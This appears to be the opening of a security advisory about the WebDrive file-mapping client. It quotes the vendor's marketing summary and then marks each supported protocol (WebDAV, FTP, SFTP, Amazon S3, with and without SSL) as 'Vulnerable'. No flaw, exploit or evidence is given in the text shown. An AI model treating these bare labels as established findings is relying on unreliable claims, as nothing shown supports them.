Summary:  
Unlike a typical FTP client, WebDrive allows you to open and   
edit server-based, files without the additional step of downloading the file.   
Using a simple wizard, you assign a network drive letter to the FTP Server.   
WebDrive supports additional protocols such as WebDAV, SFTP and Amazon S3 and   
maps a drive letter to each of these servers.You can map unique drive letters  
to multiple servers.Download the full-function 20-day trial of WebDrive and   
make file management on remote servers easier and more efficient!  
------------------------------------------------------------------------------  
WebDrive connects to many types of web servers,   
as well as servers in the cloud.You can use WebDrive   
to access your files on all of the following server   
types and protocols:  
  
WebDAV ------------>Vulnerable  
WebDAV over SSL---->Vulnerable  
FTP---------------->Vulnerable  
FTP over SSL------->Vulnerable  
Amazon S3---------->Vulnerable  
SFTP--------------->Vulnerable
